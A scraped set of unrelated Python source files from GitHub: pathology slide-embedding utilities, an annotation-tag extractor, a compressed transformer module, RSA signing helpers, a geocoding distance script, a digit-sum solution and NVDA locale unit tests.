main()\n","repo_name":"jordan-gillard/Versionizer","sub_path":"versionizer/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10866204236","text":"# Base Dependencies\nimport os\nimport pickle\nimport sys\nj_ = os.path.join\n\n# LinAlg / Stats / Plotting Dependencies\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nfrom tqdm import tqdm\n\n\n# Scikit-Learn Imports\nimport sklearn\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import cross_val_score, StratifiedKFold\n\n#Torch Imports\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data.dataset import Dataset\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\n\ndef series_intersection(s1, s2):\n    r\"\"\"\n    Takes the intersection of two pandas.Series (pd.Series) objects.\n    \n    Args:\n        - s1 (pd.Series): pd.Series object.\n        - s2 (pd.Series): pd.Series object.\n    Return:\n        - pd.Series: Intersection of s1 and s2.\n    \"\"\"\n    return pd.Series(list(set(s1) & set(s2)))\n\n\ndef save_embeddings_mean(save_pickle_fpath, dataset):\n    r\"\"\"\n    Saves+Pickle each WSI in a SlideEmbeddingDataset Object as the average of its instance-level embeddings\n    \n    Args:\n        - save_fpath (str): Save filepath for the pickle object.\n        - dataset (torch.utils.data.dataset): SlideEmbeddingDataset_WS object that iterates+loads each WSI in a folder\n    \n    Return:\n        - None\n    \"\"\"\n    dataloader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=False, num_workers=4)\n    embeddings, labels = [], []\n\n    for batch, target in dataloader:\n        with torch.no_grad():\n            embeddings.append(batch.squeeze(dim=0).mean(dim=0).numpy())\n            labels.append(target.numpy())\n            \n    embeddings = np.vstack(embeddings)\n    labels = np.vstack(labels).squeeze()\n\n    asset_dict = {'embeddings': embeddings, 'labels': labels}\n\n    with open(save_pickle_fpath, 'wb') as handle:\n        pickle.dump(asset_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\nclass SlideEmbeddingSplitDataset(Dataset):\n    r\"\"\"\n    torch.utils.data.dataset object that iterates+loads each WSI from a split CSV file\n    \n    Args:\n        - dataroot (str): Path to wsi_labels.csv.\n        - tcga_csv (pd.DataFrame): Clinical CSV (as a pd.DataFrame object) for a TCGA Study\n        - pt_path (str): Path to folder of saved instance-level feature embeddings for each WSI.\n        - splits_csv (pd.DataFrame): DataFrame which contains slide_ids for train / val / test\n        - label_col (str): Which column to use as labels in tcga_csv\n        - label_dict (dict): Dictionary for categorizing labels\n    Return:\n        - None\n    \"\"\"\n    def __init__(self, dataroot, tcga_csv, pt_path, splits_csv=None,\n                 label_col='oncotree_code', label_dict={'LUSC':0, 'LUAD':1}):        \n        self.csv = pd.read_csv(os.path.join(dataroot, 'tcga_wsi_labels.csv'))\n        self.csv['slide_path'] = pt_path+self.csv['slide_id']\n        self.csv = self.csv.set_index('slide_id', drop=True).drop(['Unnamed: 0'], axis=1)\n        self.csv.index = self.csv.index.str[:-3]\n        self.csv.index.name = None\n        self.csv = self.csv.join(tcga_csv, how='inner')\n        if splits_csv is not None:\n            self.csv = self.csv.loc[series_intersection(splits_csv.dropna(), self.csv.index)]\n            \n        self.label_col = label_col\n        self.label_dict = label_dict\n        \n        ### If using DINO Features, subset and save only the last 384-dim features.\n        if 'dino_pt_patch_features' in pt_path:\n            self.last_stage = True\n        else:\n            self.last_stage = False\n            \n    def __getitem__(self, index):\n        x = torch.load(self.csv['slide_path'][index])\n        if self.last_stage and x.shape[1] == 1536:\n            x = x[:,(1536-384):1536]\n        label = torch.Tensor([self.label_dict[self.csv[self.label_col][index]]]).to(torch.long)\n        return x, label\n    \n    def __len__(self):\n        return self.csv.shape[0]\n    \n    \ndef create_slide_embeddings(dataroot, saveroot, enc_name, study):\n    r\"\"\"\n    \"\"\"\n    \n    path2csv = '../Weakly-Supervised-Subtyping/dataset_csv/'\n    path2splits = '../Weakly-Supervised-Subtyping/splits/'\n\n    splits_folder = j_(path2splits, '10foldcv_subtype', study)\n    tcga_csv = pd.read_csv(j_(path2csv, f'{study}_subset.csv.zip'), index_col=2)['oncotree_code']\n    tcga_csv.index = tcga_csv.index.str[:-4]\n    tcga_csv.index.name = None\n    \n    save_embedding_dir = j_(saveroot, enc_name)\n    os.makedirs(save_embedding_dir, exist_ok=True)\n\n    if enc_name == 'vit256mean':\n        pt_path = j_(dataroot, 'vit256mean_tcga_slide_embeddings')\n    elif enc_name == 'vit16mean':\n        extracted_dir = f'{study}/extracted_mag20x_patch256_fp/vits_tcga_pancancer_dino_pt_patch_features/'\n        pt_path = j_(dataroot, extracted_dir)\n    elif enc_name == 'resnet50mean':\n        extracted_dir = f'{study}/extracted_mag20x_patch256_fp/resnet50_trunc_pt_patch_features/'\n        pt_path = j_(dataroot, extracted_dir)\n\n    if study == 'tcga_brca':\n        label_dict={'IDC':0, 'ILC':1}\n        tcga_csv = tcga_csv[tcga_csv.str.contains('IDC|ILC')]\n    elif study == 'tcga_kidney':\n        label_dict={'CCRCC':0, 'PRCC':1, 'CHRCC': 2}\n    elif study == 'tcga_lung':\n        label_dict={'LUSC':0, 'LUAD':1}\n    \n    for i in tqdm(range(10)):\n        splits_csv = pd.read_csv(os.path.join(splits_folder, f'splits_{i}.csv'), index_col=0)\n        train = SlideEmbeddingSplitDataset(dataroot=dataroot, tcga_csv=tcga_csv, pt_path=pt_path,\n                                   splits_csv=splits_csv['train'], label_dict=label_dict)\n        test = SlideEmbeddingSplitDataset(dataroot=dataroot, tcga_csv=tcga_csv, pt_path=pt_path,\n                                  splits_csv=splits_csv['test'], label_dict=label_dict)\n\n        save_embeddings_mean(j_(save_embedding_dir, f'{study}_{enc_name}_class_split_train_{i}.pkl'), train)\n        save_embeddings_mean(j_(save_embedding_dir, f'{study}_{enc_name}_class_split_test_{i}.pkl'), test)","repo_name":"mahmoodlab/HIPT","sub_path":"3-Self-Supervised-Eval/slide_extraction_utils.py","file_name":"slide_extraction_utils.py","file_ext":"py","file_size_in_byte":6006,"program_lang":"python","lang":"en","doc_type":"code","stars":387,"dataset":"github-code","pt":"18"}
{"seq_id":"4205602933","text":"from typing import List\n\ncorestring = \"\"\"Extracted Annotations (7/13/2018, 9:14:41 PM)\nsample notes extracted from PDF\n#g eita ek  \nline g#\n#b  asd asd\nasd b#\n#p asd asd asd p#\n#i asd asd asd i#\n#g asd asd asd g#\n#b asd asd asd b#\n#p point point\npoint p#\n\n\"\"\"\n\ntag_pairs = {\"#b\": \"b#\", \"#g\": \"g#\", \"#p\": \"p#\", \"#c\": \"c#\"}\n\n\ndef __count_tags(text: str, tag_start: str, tag_end: str) -> int:\n    return text.count(tag_start) + text.count(tag_end)\n\n\ndef __count_all_tags(text: str) -> int:\n    return __count_tags(text, \"#g\", \"g#\") + __count_tags(text, \"#b\", \"b#\") + \\\n        __count_tags(text, \"#p\", \"p#\") + __count_tags(text, \"#c\", \"c#\")\n\n\ndef __find_start_tag_in_line(text: str):\n    if list(tag_pairs)[0] in text:\n        return list(tag_pairs)[0]\n    if list(tag_pairs)[1] in text:\n        return list(tag_pairs)[1]\n    if list(tag_pairs)[2] in text:\n        return list(tag_pairs)[2]\n    if list(tag_pairs)[3] in text:\n        return list(tag_pairs)[3]\n\n\ndef __beautify_output_lines(lines: List[str], tag_type: str, start_tag: str,\n                            markdown: bool = False) -> str:\n    if len(lines) < 1:\n        print(\"no lines found, exiting\")\n        return \"\"\n    combined_line: str = tag_type.upper()\n    if markdown:\n        combined_line = \"# \" + combined_line\n    combined_line += \"\\n\"\n    end_tag: str = tag_pairs[start_tag]\n    for line in lines:\n\n        is_end_tag_in_line: bool = line.find(end_tag) != -1\n        is_start_tag_in_line: bool = line.find(start_tag) != -1\n\n        # print(line + \": \" + str(is_end_tag_in_line))\n        if is_start_tag_in_line and markdown:\n            combined_line += \"-\"\n        # line = line.replace(\"\\n\", \"\")\n        combined_line += \" \" + line.strip()\n        if is_end_tag_in_line:\n            combined_line += \"\\n\"\n        combined_line = combined_line.replace(start_tag, \"\")\n        combined_line = combined_line.replace(end_tag, \"\")\n        combined_line = combined_line.replace(\"  \", \" \")\n    return \"\\n\"+combined_line\n\n\ndef __start_tag_in_line(line: str):\n    global tag_pairs\n    return list(tag_pairs)[0] in line or list(tag_pairs)[1] in line or \\\n        list(tag_pairs)[2] in line or list(tag_pairs)[3] in line\n\n\ndef process_content(value: str, markdown: bool=False) -> str:\n    global tag_pairs\n    tag_count = __count_all_tags(value)\n    if tag_count % 2 is not 0:\n        return(\"problem with tags. total tags: \"+str(tag_count))\n\n    all_lines: List[str] = value.splitlines()\n    good_points: List[str] = []\n    bad_points: List[str] = []\n    comments: List[str] = []\n    i_points: List[str] = []\n    all_comments = {\"b#\": bad_points, \"g#\": good_points,\n                    \"c#\": comments, \"p#\": i_points}\n    is_looking_for_end_tag = False\n    end_tag: str = \"\"\n    for line in all_lines:\n        # print(\"processing: \"+line)\n        if __start_tag_in_line(line):\n            is_looking_for_end_tag = True\n            end_tag = tag_pairs[__find_start_tag_in_line(line)]\n        if is_looking_for_end_tag:\n            # print(\"looking for end tag: \" + line)\n            all_comments[end_tag].append(line)\n        if end_tag in line:\n            # print(\"found end tag: \" + line)\n            is_looking_for_end_tag = False\n    full_content: str = __beautify_output_lines(\n        good_points, \"Good Points\", \"#g\", markdown)\n    full_content += __beautify_output_lines(bad_points,\n                                            \"Bad Points\",\n                                            \"#b\", markdown)\n    full_content += __beautify_output_lines(comments,\n                                            \"Comments\", \"#c\", markdown)\n    full_content += __beautify_output_lines(i_points,\n                                            \"Intersting Points\",\n                                            \"#p\", markdown)\n    return full_content\n\n\nif __name__ == \"__main__\":\n    print(process_content(corestring, markdown=True))\n","repo_name":"LordAmit/automating-boring-tasks-using-python","sub_path":"note_point_extractor/library/text_handler.py","file_name":"text_handler.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"26512729115","text":"import collections\nimport dataclasses\nfrom typing import Optional\n\nimport haiku as hk\nimport jax\nimport numpy as np\n\nfrom tracr.transformer import attention\nfrom tracr.transformer import model\n\n\n@dataclasses.dataclass\nclass CompressedTransformer(hk.Module):\n  \"\"\"A transformer stack with linearly compressed residual stream.\"\"\"\n\n  config: model.TransformerConfig\n  name: Optional[str] = None\n\n  def __call__(\n      self,\n      embeddings: jax.Array,  # [B, T, D]\n      mask: jax.Array,  # [B, T]\n      *,\n      use_dropout: bool = True,\n      embedding_size: Optional[int] = None,\n      unembed_at_every_layer: bool = False,\n  ) -> model.TransformerOutput:  # [B, T, D]\n    \"\"\"Transforms input embedding sequences to output embedding sequences.\n\n    Args:\n      embeddings: Input embeddings to pass through the model.\n      mask: Boolean mask to restrict the inputs the model uses.\n      use_dropout: Turns dropout on/off.\n      embedding_size: Dimension to compress the residual stream to.\n      unembed_at_every_layer: Whether to unembed the residual stream when\n        reading the input for every layer (keeping the layer input sizes) or to\n        only unembed before the model output (compressing the layer inputs).\n\n    Returns:\n      The outputs of the forward pass through the transformer.\n    \"\"\"\n\n    def layer_norm(x: jax.Array) -> jax.Array:\n      \"\"\"Applies a unique LayerNorm to x with default settings.\"\"\"\n      if self.config.layer_norm:\n        return hk.LayerNorm(axis=-1, create_scale=True, create_offset=True)(x)\n      return x\n\n    initializer = hk.initializers.VarianceScaling(2 / self.config.num_layers)\n    dropout_rate = self.config.dropout_rate if use_dropout else 0.\n    _, seq_len, model_size = embeddings.shape\n\n    # To compress the model, we multiply with a matrix W when reading from\n    # the residual stream, and with W^T when writing to the residual stream.\n    if embedding_size is not None:\n      # [to_size, from_size]\n      w_emb = hk.get_parameter(\n          \"w_emb\", (embedding_size, model_size),\n          init=hk.initializers.RandomNormal())\n\n      write_to_residual = lambda x: x @ w_emb.T\n      read_from_residual = lambda x: x @ w_emb\n\n      if not unembed_at_every_layer:\n        model_size = embedding_size\n    else:\n      write_to_residual = lambda x: x\n      read_from_residual = lambda x: x\n\n    # Compute causal mask for autoregressive sequence modelling.\n    mask = mask[:, None, None, :]  # [B, H=1, T'=1, T]\n    mask = mask.repeat(seq_len, axis=2)  # [B, H=1, T, T]\n\n    if self.config.causal:\n      causal_mask = np.ones((1, 1, seq_len, seq_len))  # [B=1, H=1, T, T]\n      causal_mask = np.tril(causal_mask)\n      mask = mask * causal_mask  # [B, H=1, T, T]\n\n    # Set up activation collection.\n    collected = collections.defaultdict(list)\n\n    def collect(**kwargs):\n      for k, v in kwargs.items():\n        collected[k].append(v)\n\n    residual = write_to_residual(embeddings)\n\n    for layer in range(self.config.num_layers):\n      with hk.experimental.name_scope(f\"layer_{layer}\"):\n        # First the attention block.\n        attn_block = attention.MultiHeadAttention(\n            num_heads=self.config.num_heads,\n            key_size=self.config.key_size,\n            model_size=model_size,\n            w_init=initializer,\n            name=\"attn\")\n\n        attn_in = residual\n        if unembed_at_every_layer:\n          attn_in = read_from_residual(attn_in)\n        attn_in = layer_norm(attn_in)\n        attn_out = attn_block(attn_in, attn_in, attn_in, mask=mask)\n        attn_out, attn_logits = attn_out.out, attn_out.logits\n        if dropout_rate > 0:\n          attn_out = hk.dropout(hk.next_rng_key(), dropout_rate, attn_out)\n\n        if unembed_at_every_layer:\n          collect(layer_outputs=attn_out, attn_logits=attn_logits)\n        else:\n          collect(\n              layer_outputs=read_from_residual(attn_out),\n              attn_logits=attn_logits,\n          )\n\n        if unembed_at_every_layer:\n          attn_out = write_to_residual(attn_out)\n        residual = residual + attn_out\n\n        collect(residuals=residual)\n\n        # Then the dense block.\n        with hk.experimental.name_scope(\"mlp\"):\n          dense_block = hk.Sequential([\n              hk.Linear(\n                  self.config.mlp_hidden_size,\n                  w_init=initializer,\n                  name=\"linear_1\"),\n              self.config.activation_function,\n              hk.Linear(model_size, w_init=initializer, name=\"linear_2\"),\n          ])\n\n        dense_in = residual\n        if unembed_at_every_layer:\n          dense_in = read_from_residual(dense_in)\n        dense_in = layer_norm(dense_in)\n        dense_out = dense_block(dense_in)\n        if dropout_rate > 0:\n          dense_out = hk.dropout(hk.next_rng_key(), dropout_rate, dense_out)\n\n        if unembed_at_every_layer:\n          collect(layer_outputs=dense_out)\n        else:\n          collect(layer_outputs=read_from_residual(dense_out))\n\n        if unembed_at_every_layer:\n          dense_out = write_to_residual(dense_out)\n        residual = residual + dense_out\n\n        collect(residuals=residual)\n\n    output = read_from_residual(residual)\n    output = layer_norm(output)\n\n    return model.TransformerOutput(\n        layer_outputs=collected[\"layer_outputs\"],\n        residuals=collected[\"residuals\"],\n        attn_logits=collected[\"attn_logits\"],\n        output=output,\n        input_embeddings=embeddings,\n    )\n","repo_name":"deepmind/tracr","sub_path":"tracr/transformer/compressed_model.py","file_name":"compressed_model.py","file_ext":"py","file_size_in_byte":5439,"program_lang":"python","lang":"en","doc_type":"code","stars":382,"dataset":"github-code","pt":"18"}
{"seq_id":"9756851025","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport logging\n\nfrom enum import IntEnum\nfrom Crypto.Signature import PKCS1_v1_5\nfrom Crypto.Hash import SHA\nfrom Crypto.PublicKey import RSA\n\n\nclass Privacy(IntEnum):\n    deny = 0  # don't verify regardless who asks\n    friends = 1  # verify only friends\n    everyone = 2  # verify for everyone\n\n\nclass Verification(IntEnum):\n    unverified = 0  # no verification is done\n    verified = 1  # local verification ok\n    source = 2  # remote challange-response verification ok\n    invalid = 3  # verification failed\n\n\ndef generate_key_pair():\n    \"\"\"\n    Generate a key pair.\n\n    Returns (private_key, public_key)\n    \"\"\"\n    private_key = RSA.generate(1024)\n    public_key = private_key.publickey()\n    return private_key, public_key\n\n\ndef verify(message):\n    \"\"\"\n    Verify a signed message.\n\n    Returns Message (with .verified set to verified or invalid)\n    \"\"\"\n    message = message.copy()\n    key = RSA.importKey(message.public_key)\n    h = SHA.new(message.data)\n    verifier = PKCS1_v1_5.new(key)\n    message.verified = Verification.verified if verifier.verify(h, message.signature)\\\n        else Verification.invalid\n    return message\n\n\ndef sign(message):\n    \"\"\"\n    Generate new keys and sign a message.\n\n    Returns Message (signed)\n    \"\"\"\n    message = message.copy()\n    private_key, public_key = generate_key_pair()\n    message.private_key = private_key.exportKey()\n    message.public_key = public_key.exportKey()\n    h = SHA.new(message.data)\n    signer = PKCS1_v1_5.new(private_key)\n    message.signature = signer.sign(h)\n    return message\n\n\ndef get_global_keys(private_key_path, public_key_path):\n    \"\"\"\n    Read or create and store a global key pair given two paths.\n\n    Returns (public key, private key)\n    \"\"\"\n    private_key_path = os.path.expanduser(os.path.expandvars(private_key_path))\n    public_key_path = os.path.expanduser(os.path.expandvars(public_key_path))\n\n    write_private, write_public = False, False\n\n    if os.path.exists(private_key_path):\n        logging.info(\"Using private global key at %s.\" % private_key_path)\n        with open(private_key_path) as f:\n            private_key_str = f.read()\n            private_key = RSA.importKey(private_key_str)\n        if os.path.exists(public_key_path):\n            logging.info(\"Using public global key at %s.\" % public_key_path)\n            with open(public_key_path) as f:\n                public_key_str = f.read()\n            public_key = RSA.importKey(public_key_str)\n        else:\n            logging.info(\"Public global key from private key.\")\n            public_key = private_key.publickey()\n            write_public = True\n\n    else:\n        private_key, public_key = generate_key_pair()\n        write_private = True\n        write_public = True\n        logging.info(\"Generated new global keys.\")\n\n    if write_private:\n        logging.info(\"Saving private global key to %s.\" % private_key_path)\n        os.makedirs(os.path.dirname(private_key_path), exist_ok=True)\n        with open(private_key_path, 'wb') as f:\n            f.write(private_key.exportKey())\n\n    if write_public:\n        logging.info(\"Saving public global key to %s.\" % public_key_path)\n        os.makedirs(os.path.dirname(public_key_path), exist_ok=True)\n        with open(public_key_path, 'wb') as f:\n            f.write(public_key.exportKey())\n\n    return private_key, public_key\n","repo_name":"eblade/friendface","sub_path":"friendface/privacy.py","file_name":"privacy.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74222418280","text":"from geopy.geocoders import Nominatim\nfrom geopy import distance\n\ngeocoder = Nominatim(user_agent=\"arjun\")\n\nlocation1 = str(input(\"from  \",  ))\nlocation2 = str(input(\"To\"))\n\nprint(\"geocoder\", geocoder)\n\ncordinate1 = geocoder.geocode(location1)\ncordinate2 = geocoder.geocode(location2)\nprint(\"cordinates1\", cordinate1)\n\nlat1, long1 = (cordinate1.latitude),(cordinate1.longitude)\nprint(\"latitude1\", lat1, long1)\nlat2, long2 = (cordinate2.latitude),(cordinate2.longitude)\nprint(\"latitude1\", lat2, long2)\n\n\nplace1 = (lat1,long1)\nplace2 = (lat2, long2)\n\nprint(\"distance :\", distance.distance(place1,place2))\n","repo_name":"arjun-baidya/map_distance_calculation","sub_path":"map_distance.py","file_name":"map_distance.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73946111719","text":"# https://leetcode.com/problems/add-digits/description/\n# This solution is also posted on the Discussions tab - \n# https://leetcode.com/problems/add-digits/discuss/150025/A-solution-involving-no-recursion-no-loops.\n\nimport time\nimport random\n\nclass Solution:\n    def add_digits_recursive(self, num):\n        \"\"\"\n        :type num: int\n        :rtype: int\n        \"\"\"\n        l = sum(list(map(int, str(num))))\n        if l < 10:\n            return l\n        \n        return self.add_digits_recursive(l)\n    \n    # https://en.wikipedia.org/wiki/Digital_root    \n    def add_digits_modulo(self, num):\n        \"\"\"\n        :type num: int\n        :rtype: int\n        \"\"\"\n        if num == 0:\n            return 0\n        \n        n = num%9\n        if n == 0:\n            return 9\n        else:\n            return n\n        \ns = Solution()\n\n# A huge number consisting of 3,15,652 or 3,15,653 digits.\nnum = random.getrandbits(1024*1024)\n\nt = time.time()\nsol1 = s.add_digits_recursive(num)\ne = time.time()\nprint('Method 1 - Recursion\\nOutput: {} ({} secs)'.format(sol1, e-t))\n\nt = time.time()\nsol2 = s.add_digits_modulo(num)\ne = time.time()\nprint('Method 2 - Modulo_9\\nOutput: {} ({} secs)'.format(sol2, e-t))\n\nassert sol1 == sol2\n\n\"\"\" \nOUTPUT:\n\nMethod 1 - Recursion\nOutput: 4 (8.737640619277954 secs)\nMethod 2 - Modulo_9\nOutput: 4 (0.000997304916381836 secs)\n\"\"\"\n","repo_name":"CAVIND46016/Leet-Code","sub_path":"add_digits.py","file_name":"add_digits.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"14951665951","text":"# A part of NonVisual Desktop Access (NVDA)\r\n# This file is covered by the GNU General Public License.\r\n# See the file COPYING for more details.\r\n# Copyright (C) 2017-2022 NV Access Limited, Łukasz Golonka\r\n\r\n\"\"\"Unit tests for the languageHandler module.\r\n\"\"\"\r\n\r\nimport unittest\r\nimport languageHandler\r\nfrom languageHandler import LCID_NONE, LCIDS_TO_TRANSLATED_LOCALES\r\nfrom localesData import LANG_NAMES_TO_LOCALIZED_DESCS\r\nimport locale\r\nimport ctypes\r\n\r\n\r\ndef generateUnsupportedWindowsLocales():\r\n\t\"\"\"Generates list of languages which are not supported under the current version of Windows.\r\n\tUses `localesData.LANG_NAMES_TO_LOCALIZED_DESCS` as a base but filters further\r\n\tsince unsupported languages are different under different systems.\"\"\"\r\n\tunsupportedLangs = set()\r\n\tfor localeName in LANG_NAMES_TO_LOCALIZED_DESCS.keys():\r\n\t\t# `languageHandler.englishCountryNameFromNVDALocale` returns `None` for locale unknown to Windows.\r\n\t\tif not languageHandler.englishCountryNameFromNVDALocale(localeName):\r\n\t\t\tunsupportedLangs.add(localeName)\r\n\treturn unsupportedLangs\r\n\r\n\r\nLCID_ENGLISH_US = 0x0409\r\nUNSUPPORTED_WIN_LANGUAGES = generateUnsupportedWindowsLocales()\r\nTRANSLATABLE_LANGS = set(l[0] for l in languageHandler.getAvailableLanguages()) - {\"Windows\"}\r\nWINDOWS_LANGS = set(locale.windows_locale.values()).union(LCIDS_TO_TRANSLATED_LOCALES.values())\r\n\r\n\r\nclass TestLocaleNameToWindowsLCID(unittest.TestCase):\r\n\tdef test_knownLocale(self):\r\n\t\tlcid = languageHandler.localeNameToWindowsLCID(\"en\")\r\n\t\tself.assertEqual(lcid, LCID_ENGLISH_US)\r\n\r\n\tdef test_windowsUnknownLocale(self):\r\n\t\t# \"an\" is the locale name for Aragonese, but Windows doesn't know about it.\r\n\t\tlcid = languageHandler.localeNameToWindowsLCID(\"an\")\r\n\t\tself.assertEqual(lcid, LCID_NONE)\r\n\r\n\tdef test_nonStandardLocale(self):\r\n\t\tlcid = languageHandler.localeNameToWindowsLCID(\"us\")\r\n\t\tself.assertEqual(lcid, LCID_NONE)\r\n\r\n\tdef test_invalidLocale(self):\r\n\t\tlcid = languageHandler.localeNameToWindowsLCID(\"zzzz\")\r\n\t\tself.assertEqual(lcid, LCID_NONE)\r\n\r\n\r\nclass Test_Normalization_For_Win32(unittest.TestCase):\r\n\r\n\tdef test_isNormalizedWin32LocaleNormalizedLocale(self):\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"en\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"ro\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"so\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"ckb\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"de-CH\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"pl-PL\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"de-DE_phoneb\"))\r\n\t\tself.assertTrue(languageHandler.isNormalizedWin32Locale(\"mn-Mong-CN\"))\r\n\r\n\tdef test_isNormalizedWin32LocaleInvalidLocales(self):\r\n\t\tself.assertFalse(languageHandler.isNormalizedWin32Locale(\"pl_PL\"))\r\n\t\tself.assertFalse(languageHandler.isNormalizedWin32Locale(\"de_CH\"))\r\n\t\tself.assertFalse(languageHandler.isNormalizedWin32Locale(\"ru_RU\"))\r\n\r\n\tdef test_localeNormalizationForWin32(self):\r\n\t\tself.assertEqual(languageHandler.normalizeLocaleForWin32(\"en\"), \"en\")\r\n\t\tself.assertEqual(languageHandler.normalizeLocaleForWin32(\"en-US\"), \"en-US\")\r\n\t\tself.assertEqual(languageHandler.normalizeLocaleForWin32(\"en_US\"), \"en-US\")\r\n\t\tself.assertEqual(languageHandler.normalizeLocaleForWin32(\"de-DE_phoneb\"), \"de-DE_phoneb\")\r\n\t\tself.assertEqual(languageHandler.normalizeLocaleForWin32(\"de_DE_phoneb\"), \"de-DE_phoneb\")\r\n\r\n\r\nclass Test_GetLocaleInfoEx_Wrappers(unittest.TestCase):\r\n\t\"\"\"Set of tests for wrappers around `GetLocaleInfoEx` from `languageHandler`\"\"\"\r\n\r\n\tPOSSIBLE_CODE_PAGES_FOR_UNICODE_ONLY_LOCALES = {str(ctypes.windll.kernel32.GetACP()), \"65001\"}\r\n\r\n\tdef test_ValidEnglishLangNamesAreReturned(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.englishLanguageNameFromNVDALocale` with some known locale names\"\"\"\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"en\"), \"English\")\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"de\"), \"German\")\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"ne\"), \"Nepali\")\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"pt-BR\"), \"Portuguese\")\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"de_CH\"), \"German\")\r\n\r\n\tdef test_noLangNameFromUnknownLocale(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.englishLanguageNameFromNVDALocale`\r\n\t\twith locale names unknown to Windows\"\"\"\r\n\t\tself.assertIsNone(languageHandler.englishLanguageNameFromNVDALocale(\"an\"))\r\n\t\tself.assertIsNone(languageHandler.englishLanguageNameFromNVDALocale(\"kmr\"))\r\n\r\n\tdef test_englishLanguageNameFromNVDALocaleNonASCIILangNames(self):\r\n\t\t\"\"\"Ensures that `languageHandler.englishLanguageNameFromNVDALocale`\r\n\t\tcan deal with non ASCII language names returned from Windows.\"\"\"\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"nb\"), \"Norwegian\")\r\n\t\tself.assertEqual(languageHandler.englishLanguageNameFromNVDALocale(\"nb_NO\"), \"Norwegian\")\r\n\r\n\tdef test_ValidEnglishCountryNamesAreReturned(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.englishCountryNameFromNVDALocale` with some known locale names\"\"\"\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"en\"), \"United States\")\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"de\"), \"Germany\")\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"ne\"), \"Nepal\")\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"pt-BR\"), \"Brazil\")\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"pt-PT\"), \"Portugal\")\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"de_CH\"), \"Switzerland\")\r\n\r\n\tdef test_noCountryNameFromUnknownLocale(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.englishCountryNameFromNVDALocale`\r\n\t\twith locale names unknown to Windows\"\"\"\r\n\t\tself.assertIsNone(languageHandler.englishCountryNameFromNVDALocale(\"an\"))\r\n\t\tself.assertIsNone(languageHandler.englishCountryNameFromNVDALocale(\"kmr\"))\r\n\r\n\tdef test_englishCountryNameFromNVDALocaleLocaleWithDot(self):\r\n\t\t\"\"\"Ensures that `languageHandler.englishCountryNameFromNVDALocale` removes all dots\r\n\t\tfrom the affected country names.\"\"\"\r\n\t\tself.assertEqual(languageHandler.englishCountryNameFromNVDALocale(\"zh_HK\"), \"Hong Kong SAR\")\r\n\r\n\tdef test_validAnsiCodePagesAreReturned(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.ansiCodePageFromNVDALocale` with some known\r\n\t\tnot Unicode only locale names\"\"\"\r\n\t\tself.assertEqual(languageHandler.ansiCodePageFromNVDALocale(\"en\"), \"1252\")\r\n\t\tself.assertEqual(languageHandler.ansiCodePageFromNVDALocale(\"pl_PL\"), \"1250\")\r\n\t\tself.assertEqual(languageHandler.ansiCodePageFromNVDALocale(\"ja_JP\"), \"932\")\r\n\t\tself.assertEqual(languageHandler.ansiCodePageFromNVDALocale(\"de-CH\"), \"1252\")\r\n\r\n\tdef test_noCodePageFromUnknownLocale(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.ansiCodePageFromNVDALocale`\r\n\t\twith locale names unknown to Windows\"\"\"\r\n\t\tself.assertIsNone(languageHandler.ansiCodePageFromNVDALocale(\"an\"))\r\n\t\tself.assertIsNone(languageHandler.ansiCodePageFromNVDALocale(\"kmr\"))\r\n\r\n\tdef test_validAnsiCodePagesAreReturnedUnicodeOnlyLocales(self):\r\n\t\t\"\"\"Smoke tests `languageHandler.ansiCodePageFromNVDALocale` with some known\r\n\t\tUnicode only locale 